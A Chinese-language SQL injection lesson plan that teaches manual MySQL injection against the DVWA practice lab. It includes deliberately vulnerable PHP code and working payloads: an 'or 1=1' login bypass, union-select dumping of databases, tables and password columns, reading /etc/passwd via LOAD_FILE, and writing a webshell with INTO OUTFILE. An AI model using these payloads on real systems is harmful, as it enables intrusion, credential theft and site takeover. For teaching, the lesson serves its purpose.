[关闭]
@jasun 2017-07-03T09:41:59.000000Z 字数 3511 阅读 996

sql注入教案

sql注入 教案


本节课为大家讲解SQL注入。
本章大纲:SQL注入原理,SQL注入产生的过程,以dvwa为例讲解mysql手工注入的过程。SQL注入漏洞的危害。


先简单讲下SQL注入的定义

什么是SQL:是一种数据库查询和程序设计语言。用来存取数据、查询、更新、管理关系型数据库系统。作为关系式数据库管理系统的标准语言,1987年得到国际标准组织的支持下成为国际标准。不过各种通行的数据库系统在其实践过程中都对SQL规范作了某些编改和扩充。

当我们的Web应用在向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行恶意语句,获取或修改数据库中的数据。
总之:注入产生的原因是接受相关参数未经处理直接带入数据库查询。


这是i春秋的一个实验:使用一个自动化注入工具-胡萝卜havij,可以毫不费事地对一个存在注入点的网站进行攻击。可以看到获取到了目标服务器的ip,中间件apache,数据库类型,数据库账号,mysql的安装目录,所有的数据库,表等信息。还可以执行SQL语句。
这么强大的工具是如何工作的?下面讲解一下这个强大的工具的工作原理。
工具利用的网站的SQL注入漏洞。那么SQL注入如何产生的:

以dvwa为例,当我们正常浏览网页时,通过user Id搜索用户信息。比如说输入1,就回显user Id为1对应的信。现在整个过程的是正常的,没什么问题。
在服务器端,当用户在输入框中输入数字1时,也就是?user_id=1,当用户点击submit的时候,浏览器将http请求包发送给服务器。Apache服务器接收到到请求包,PHP通过id,然后这个变量getid,PHP使用mysql_query()函数执行SQL语句的查询操作。相当于在服务器的数据库里执行了select first_name,last_name from user where user_id='1';这个过程也没有问题!
以dvwa SQL注入里面的关键代码为例:

$id=$_GET['id'];
$getid="select first_name,last_name from users where user_id='$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 

尝试输入1',发现查询失败,弹出错误页面,提示说语法错误。可以分析出在数据库里面执行对应的语句。
再次分析参数的传递过程。输入1'#查询成功,在这里提一下mysql的注释符。语句运行时不会对注释内容做任何处理。
mysql注释符:
#
--+
/**/
/!/
select * from users where id='1'#'我是注释


万能密码问题
尝试审计这段源代码:

$user = $_GET['user']; 
$pass = $_GET['password']; 
$pass = md5($pass); 
$qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';"; 
$result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '</pre>' ); 
正常情况下用户输入了正确的账号密码才能执行这条语句登录成功。但是如果用户在用户名输入了admin' or '1'='1;密码随便输入。这样在服务器上执行了SELECT * FROM `users` WHERE user = ‘admin’ or ‘1’=‘1' AND password = '$pass';

发现可以查询成功。where 'admin' or TRUE and password='$pass';为真。

SQL注入的分类

按照提交参数的类型:数字型、字符型
很多初学者可能会问不是还有cookie注入,post注入,盲注,延时注入吗?没错,确实如此,不过也仅仅是以上两大类型的分类不同展示形式,或者不同的展示位置罢了。
注:严格的说,数字也是字符串,在数据库进行数据查询时,where id = '1' 也是合法的,只不过在查询条件为数字时一般不会加单引号。
按照注入的位置:get型注入,post注入,cookie注入等等。


数字型:在SQL语句中不需要单引号闭合。
字符型:需要使用单引号或者双引号闭合。


以dvwa为例演示SQL注入,因为dvwa是基于PHP+mysql的,在此演示的是mysql手工注入。
手工注入的思路与查询数据库一样。在确定注入点后。确定数据库——表——字段——查询。因此对应的暴库,查表,查字段,暴密码。

information_schema是mysql5.0以上版本自带的信息数据库,什么是信息数据库呢,其中保存着关于mysql服务器所维护的其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等
schemate表:提供了当前mysql实力中所有数据库的信息。show database();的结果取之此表。
tables表:提供了关于数据库中的表的信息。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。show tables from schemaname
columns表:提供了表中的列信息。

mysql基本查询语句:

获取版本号 SELECT @@version;SELECT version()
主机名 SELECT @@hostname;
数据目录 SELECT @@datadir;
用户名及密码 SELECT host, user, password FROM mysql.user;
用户名 SELECT user();SELECT system_user(); SELECT user FROM mysql.user;
列举数据库
当前库 SELECT database();
所有库 SELECT schema_name FROM information_schema.schemate;
读取文件,需要相关权限 UNION SELECT LOAD_FILE('/etc/passwd')
写入文件,需要相关权限 SELECT * FROM mytable INTO dumpfile '/tmp/somefile'
写入文件,需要相关权限 SELECT * FROM mytable INTO outfile '/tmp/somefile'


判断注入点:
1' and '1'='1
1' and '1'='2
猜测查询语句中的字段数:
order by是对当前查询字段排序,字段数小于查询的数字时报错。
1' order by 2 #
1' order by 3 #查询失败
找出字段回显位置:
union 联合查询,前后查询的字段数相同才可以。
1' union select 1,2 # 查询成功,1,2均回显
列出所有数据库名:
group_concat将字符串拼接成一个字符串,手册说:该函数返回带有来自一个组的连接的非NULL值的字符串结果

-2' union select 1,group_concat(schema_concat) from information_schema.schemata#


获取当前数据库:
1' union select database(),2#
union后面的查询跟普通的sql查询语句一样。很简单。
获取表名:
select group_concat(table_name) form information_sche.tables where table_schema='dvwa';
获取字段名:
select column_name from information_schema.columns where table_name='users';
查询字段中信息:
2' union select username,password from users #
在dvwa的medium级别中,http数据包的提交方式发生变化。但是注入过程语句未发生变化。


mysql注入——直接写马
条件:知道网站的绝对路径、有写权限;魔术引号关闭。
select 一句话 into outfile ‘路径’;


SQL注入危害与案例

  1. 数据泄露,比如管理员的账号密码,注册会员的敏感信息
  2. 网站被挂马:修改数据库一些特定字段的值,进行挂马攻击
  3. 数据库被恶意操做,数据库管理员账户被篡改
  4. 服务器被远程控制,被安装后门。让黑客得以修改或控制操作系统
  5. 破坏硬盘数据,瘫痪系统
添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注